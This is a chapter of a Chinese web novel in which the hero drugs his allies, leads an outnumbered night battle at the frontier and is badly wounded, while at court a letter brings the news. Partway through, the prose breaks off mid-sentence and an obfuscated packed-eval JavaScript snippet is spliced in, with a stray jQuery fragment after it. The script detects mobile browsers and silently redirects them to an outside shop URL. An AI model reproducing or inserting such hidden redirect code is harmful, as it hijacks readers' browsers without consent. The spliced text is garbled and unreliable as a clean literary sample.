文趣网 > 其他小说 > 权奕双璧 > 204. 等待进入网审
    冯老爷子怔怔站在原地,苍老的眉眼间写满茫然:“啊?”

    这下轮到他摸不着头脑了。

    燕修延这般那般、那般这般的把事情前因后果、来龙去脉说了一遍。

    冯老爷子陷入短暂的沉默,良久他才缓缓开口:“你一口一个小妹妹的唤他,他却始终没有表明真实身份,说明这孩子打小心眼就多。”

    这话说的不错,谢伟恒确实心眼多。

    燕修延极为认同的点头。

    冯老爷子眉头拧紧,神色郑重:“你别回京了,写信让他亲自来边关见你。”

    燕修延微微挠了挠头:“可是我想念府里厨子的手艺了。”

    冯老爷子只当他随口撒娇,大手一挥,豪气十足:“什么厨子,我尽数给你找来。”

    燕修延眼眸微亮,伸出修长的手指,认认真真掰着指头细数:“掌勺的厨子有十个,其中两个祖上是干御厨的、一个是从江南宴满楼请过去的、一个是从……”

    十个数完,一众冯家人、军营将士等人纷纷因药劲上来四肢发软、头脑发沉,不过瞬息功夫,众人眼皮沉重如铅块,浑身气力尽数抽空。

    “噗通!”

    接二连三的闷响此起彼伏。

    冯老爷子首当其冲,身子一软直直栽倒在地,沉沉昏睡过去。

    紧随其后,冯家人接连垂首倒地,横七竖八躺了一片,呼吸平稳绵长,全然失去了意识。

    燕修延早在晚饭前就往做饭的水里掺入了剂量十足的蒙汗药。

    药性温和却霸道,足以让众人昏睡到战争结束,绝无中途苏醒、误闯战场的可能。

    燕修延神色淡然,无半分波澜,起身缓步走过倒地的冯家人,逐一将他们扶回自己屋里、盖好被子。

    做完这一切,他转身回了自己房间。

    烛火下素纸铺展,一封简短家书寥寥数语,写完后封好信笺,他抬手取过挂在壁上的战甲,指尖抚过冰凉甲片,层层穿戴整齐。

    战甲覆身褪去所有温和闲散,只剩凛然肃杀。

    待一身战甲规整完毕,燕修延在城楼和锦似程汇合。

    锦似程早已立在城楼之上静候多时,一身青衫劲装,身姿挺拔,眉眼凝着化不开的凝重。

    二人并肩而立,凭栏远眺,望向沉沉夜色下的边境,风中衣袂翻飞,皆是面色沉肃。

    锦似程心头沉甸甸的,终是压不住满心忧虑,低声开口:“羯国来犯足足七千二百余精锐士卒,可我们准备的兵力才三千七百人。兵力悬殊近倍,此战太过凶险。”

    燕修延眸光冷冽如霜,眼底凝着一层覆雪般的寒锐冷光,看着远处羯军隐现的营阵轮廓:“羯军长途奔袭,士卒疲惫不堪、营阵松散杂乱,夜间警戒肯定疏漏百出,这是我们唯一的破局之机。”

    他顿了顿,语气更沉:“冯家军是边关重军,牵一发而动全身。一旦主营异动,全线进入战备,羯国没有出动全部兵力就是为了这个,我们不能落入他们的圈套。今夜,只能由我们独战。”

    亥时初。

    边关狂风骤起,嘶吼般的风声吞没了天地间所有细碎声响,恰好掩盖了即将到来的杀伐动静,是天予偷袭之机。

    夜色漆黑如墨,无星无月,天地间只剩沉沉暗寂。

    下一瞬,暗箭破空,流矢纷飞。

    羯国与大虞两方箭矢密密麻麻划破沉沉夜幕,在空中交错碰撞,寒芒点点,簌簌落雨般扎入土地、血肉之中。

    暗哨尽除的刹那,双方将士同时冲杀而出,惨烈厮杀打响。

    羯军人多势众、甲硬刃利,七千二百悍卒都是常年浴血沙场的老兵,凭着近双倍碾压的兵力优势,悍不畏死、前仆后继地猛扑而来。

    厚重的重甲步兵结成密密麻麻的攻坚阵型,步步碾压推进;羯国铁骑策马奔腾,铁蹄踏地轰鸣震野,震得大地微微震颤。

    漫天刀光剑影凛冽交错,惨白刃光铺满整片战场,刺目惊心。

    夜色厮杀最是残酷。

    兵刃劈砍躯体的沉闷钝响、骨骼寸寸碎裂的低沉闷鸣、利刃穿肉的细碎声响、濒死压抑的喘息呜咽,所有惨烈动静尽数被肆虐的风吞噬。

    大虞将士浴血死战,阵型死死咬住敌军。

    长□□穿羯军重甲的阻滞摩擦声、斧锤狠狠劈碎甲片的清脆断裂声、刀盾格挡重刃重击的震颤轰鸣声,声声交织,汇成一片肃杀战曲。

    一千四百七十九名长矛步军、三百七十名斧锤重刃手、三百七十名刀盾手,以血肉为盾、以兵刃为锋,死死黏住七千二百多羯兵,硬生生以寡敌众,拖住数倍于己的强敌。

    战局自开启的那一刻起就是绝境鏖战。

    羯军层层叠叠、源源不断往前压来,杀之不尽、斩之不绝。

    长矛步军的冲锋阵列一次次被敌军重甲冲散,又一次次咬牙聚拢、死战不退;刀盾手手中的坚盾一次次抵挡住羯军的巨斧,将士虎口震裂渗血,双臂酸胀麻木,几乎抬不起兵刃;斧锤手倾尽全身气力挥刃破甲,每一次重击都耗尽周身力气,无数将士被暗处羯兵短刀偷袭,利刃入身,血染征衣。

    兵力悬殊带来的致命弊端,随着战事推移愈发显露无遗,战局步步凶险。

    燕修延策马立身于军中阵眼,一身战甲蒙尘染沙,身姿依旧挺拔如青松傲骨,自始至终未曾退后半寸。

    他手握长剑,亲自冲阵督战,驰骋乱军之中,剑光凛冽凌厉,招招夺命、式式绝杀。

    接连斩杀三名羯军千夫长、十余名精锐头领,凭一己之力数次稳住濒临溃散的阵型,硬生生撑住了摇摇欲坠的战局。

    可羯军兵力实在太过悬殊,无边无尽的残兵从四面八方合围而来,层层堵截、步步紧逼。

    数名羯国重甲死士接了秘令,不惜代价、不求生还,只求取燕修延首级。

    他们舍弃前方缠斗的普通将士,手持百斤重刃巨刀,拼死冲破层层防线,目标明确直奔燕修延袭杀而来。

    羯国重甲将士力道凶悍霸道,搏杀招式狠戾刁钻、招招致命,不留半分余地。

    燕修延横剑,以一己之力独挡数名重甲死士围攻。

    长剑翻飞如风,格挡招架、拆招破势,接连硬接数次重击,腕骨震得剧痛发麻,整条手臂酸麻无力,气血剧烈翻涌。

    电光石火之间,左侧一柄巨斧破风劈来,燕修延身形极快,猛地侧身堪堪避开致命劈砍,可尚未稳住重心,右侧一道寒芒突袭而至。

    一柄锋利的羯国弯刀,趁着他闪避空档狠狠刺入他的肩膀!

    冰凉利刃穿肌透骨,滚烫的热血喷涌而出,转瞬浸透了半边战甲,猩红刺目。

    剧痛席卷全身,可燕修延面色未改,眼底狠戾更甚,他抬手攥紧刺入皮肉的弯刀刀身,任凭刀刃割破掌心血肉,猛地发力反手抽刃、横抹!

    一抹凄厉血光闪过,近身那名羯兵脖颈喷血,应声倒地。

    刚勉强稳住摇摇欲坠的身形,身后暗处早有潜伏的羯国残兵悄然暴起。

    一柄冰冷短矛裹挟劲风,精准刺入战甲缝隙,狠狠戳穿他的侧腰!

    刺骨剧痛席卷四肢百骸,燕修延眼前阵阵发黑,天旋地转,喉间汹涌的腥甜喷涌而上,死死堵在咽喉。

    他牙关紧咬,硬生生将一口热血咽回腹中,不肯泄露半分疲态、半分伤势,唯恐动摇全军军心。

    长剑已然不便发力,他当即弃剑换枪,紧握长枪再度死战。

    长枪横扫千军,凛冽枪风扫倒一圈近身羯兵,可肩腰两处重创流血不止,温热鲜血顺着甲片缝隙不断滴落。

    气力飞速透支、急速流失,他挺拔的身形开始不受控制地微微踉跄、晃动,每一次抬手、每一次出枪都牵扯着撕裂筋骨的剧痛。

    城楼之上,锦似程立在高处,将整场血战尽收眼底,心中焦灼如焚。

    燕修延严令在前,不许他下场涉险、亲自参战,只命他坐守城头统筹全局。

    冯家军全员被药昏睡,主营无人可唤、无援可求。

    他眼睁睁看着燕修延带死拼杀、浴血负伤,看着源源不断的伤兵被轮换抬下战场,看着己方将士死伤愈发惨重,却束手无策、无力驰援,只能死死攥紧拳头,立在城头干着急。

    战局愈发危急,再拖延下去,必是全军覆没。

    锦似程心知不能再等,当机立断,快步转身下城,穿过混乱的后备阵地,寻到留守后方的田靖。

    他语速极快,语气凝重急促:“快写信!我字迹潦草难辨,我说,你速写!”

    不等田靖应声,他即刻沉声口述军情,条理清晰、句句属实:“详述边关突发血战,羯国七千二百先锋精锐深夜犯境,我军仅三千七百私兵仓促迎敌,以少敌众、深陷死战;战局极度危急,将士受伤惨重,主将燕修延身遭重创、重伤鏖战,恐难久撑!”

    田靖不敢耽搁分毫,提笔疾书,墨走龙蛇,顷刻写就满满一页紧急军情。

    字迹工整端正,句句清晰,毫无疏漏。

    笔墨落定,锦似程一把抓过信笺,仔细核对无误后即刻封口火漆,转头唤来军中最快的传信信使:“即刻传回京城,直递朝堂、面呈陛下,不得延误片刻,不得泄露半分!”

    信使跪地领命,神色肃然,紧紧攥紧密信,翻身跃上军中最快的千里战马。

    马蹄刻意压重放轻,避开正面厮杀的主战场,沿着隐秘的山间官道,绝尘疾驰,一路奔赴千里京华。

    信使身影消失在夜色深处,朝堂急报启程传京,而边关的惨烈血战依旧无休无止、未曾停歇。

    燕修延失血愈来愈多,视线从起初的模糊,渐渐开始重叠涣散。

    周身气力近乎耗尽,四肢沉重如灌千斤铅铁,每一次抬手挥枪、每一次冲锋,都牵扯着撕裂筋骨的剧痛,痛得人几欲晕厥。

    可他依旧不肯退、不肯降、不肯撤。

    他心里清清楚楚、明明白白。

    这支三千七百精锐私兵是爷爷亲自为他调训、为他打磨出来的将士。

    他若倒了,这三千七百儿郎尽数要埋骨这片萧瑟边关,无一生还。

    ……

    谢伟恒寄出里衣后就一直没有收到信,他静坐书房案前心中有了数:燕修延应该已经动身返程了。

    “少爷。”

    谢小厮敲门得到应允后,轻轻推门而入。

    他看见自家少爷又在看那幅奇奇怪怪的画,神色还温

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662171|206799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    柔的不得了。

    “少爷,中部员外郎秦大人送来帖子。”

    谢伟恒抬手接过帖子淡淡扫了一眼,秦瑞良邀请他去喝酒。

    他把帖子合上放到一旁,秦瑞良酒量不好,还总喜欢攒局饮酒。

    “秦瑞良的小厮还没走吧,跟他说我没时间去。”

    “不是他的小厮……”

    谢小厮话还没说完,一道轻快爽朗的人声已然贴着门框响起。

    “谢书令,你怎么总是这般孤僻半点都不合群?”

    秦瑞良不知何时已然跟至院外,半边身子扒在书房门框上,探头探脑,笑意盈盈。

    谢小厮被这突如其来的声音惊得心头一跳,这人什么时候跟过来的?

    秦瑞良目光随意一扫:“谢大人,今晚来的人可不少,就连御史都答应过来了——咦?你这案上摆的是什么新奇玩意?”

    谢伟恒的案上摆着燕修延画的边关景色图。

    秦瑞良还没仔细看。

    谢伟恒就抬手速度极快的将画卷收拢、妥帖收好。

    秦瑞良愈发好奇,挑眉打趣:“这么宝贝,连看都不让我看一眼?”

    谢伟恒未曾接话,收好画作,径直起身抬步走出书房。

    秦瑞良再好奇也不好在人家书房里乱翻,连忙快步跟上谢伟恒的脚步。

    今夜这场酒局是秦瑞良攒的,除了御史职位最高,其次就是身居中部要职、执掌朝堂机要的谢伟恒了。

    理所应当的御史端坐主位,谢伟恒安稳坐在他的旁边。

    御史会参加,本意是借着酒局闲谈,试探谢伟恒的口风。

    他想罗氏的事情多半是监察司查出来的,听罗氏的描述,那天给她诊脉调理的另一个女子应该是监察司专属药师。

    御史自己偷偷抓了药,熬好了避开府中人拿给罗氏调理身子。一段时日后罗氏的身体确实好了不少。

    而这段时间,单独面见陛下时,他不曾提过一个字。

    御史心中忐忑不安,不知道陛下究竟是怎么个意思,又不敢贸然提起。

    酒过三巡,菜过五味。

    秦瑞良带头行起酒令,满堂喧嚣,人人沉醉嬉乐,无人留意主位二人的暗流涌动。

    趁着众人喧闹之际,御史端起酒杯侧身敬向谢伟恒,状似随口闲谈:“燕大人此番离京远赴边关已有数月之久,不知归期定在何时?”

    谢伟恒心如明镜知道御史的意图,神色依旧淡然无波,从容不迫地顺势转开话题:“他不曾向我吐露过归期,听闻大人的夫人身子骨欠佳,今年冬日寒意尤甚,较之往年更冷几分。”

    御史眼底微动,垂眸浅浅一笑,掩去心中所有情绪。

    那天果真是谢伟恒,直接将话题引到罗氏身上。

    “郑太医替她开了补气血的药,日日进补调养现在气血渐足、身子大好。说起来我应该当面谢过郑太医。”

    谢伟恒微微颔首,语气平和公允:“理应如此,若真如御史大人所言,是该当面谢过。”

    寥寥两句对答,御史心中已然有了定数。

    第二日,早朝议事正酣。

    百官分列、朝堂井然之时,一道急促的驿马传信自殿外疾驰而入,加急军情送入殿中。

    苏公公双手捧着火漆密信,快步上殿,躬身呈递御前。

    虞睿祥展开信笺,一目十行扫尽字字军情,脸色骤变,从容帝王之色尽数褪去,猛地从龙椅上起身:“快!伟恒!速速备马,快马加鞭赶赴边关!修延他……”

    话尚未说完,谢伟恒单凭短短几字已然猜到了大概。

    燕修延肯定出事了,他心头轰然一震,百绪翻涌,面上却依旧沉稳不乱,躬身垂首行君臣大礼:“臣即刻动身,臣告退。”

    利落行礼,转身大步出殿,步履匆匆,奔赴边关。

    谢伟恒离去之后,李想眼底悄然掠过一抹隐秘笑意。

    他心知燕修延重伤濒死、凶多吉少,暗觉大势将成,只待散朝回府将这个好消息告诉义父。

    边关,遍地尸横遍野、断戈残甲散落满地,猩红血水浸透黄沙,泥泞成血泥,满目疮痍、惨烈至极。

    七千二百余羯国来犯精锐尽数伏诛于此,葬身大虞边关。

    战场上再无站立的羯兵,彻底归于死寂。

    漫天杀伐声彻底消弭,只剩烈烈寒风掠过尸山血海,萧瑟悲凉。

    浑身浴血、战甲尽赤的燕修延,周身气力彻底耗尽再也撑不住挺拔身姿。

    他身形一晃,摇摇欲坠,最终无力松开紧握的长枪。

    枪杆拄地,支撑着他堪堪半跪于血泊战场之中,身姿狼狈却依旧傲骨不屈。

    漫天血色朦胧了他的视线,涣散的目光透过层层血雾、漫漫风沙,隐隐看见远方尘烟四起,一道快马身影正朝着这片死寂的战场疾驰而来。

    彼时神智恍惚、意识昏沉,燕修延早已辨不清来人身份。

    重伤之下,心神紧绷至极致,残存的戒备本能瞬间拉满。

    他模糊以为是羯国残余援兵赶至。

    濒临昏厥之际,他依旧死死咬着牙,凭着最后一丝残力想要撑枪起身,再战到底,宁死不降。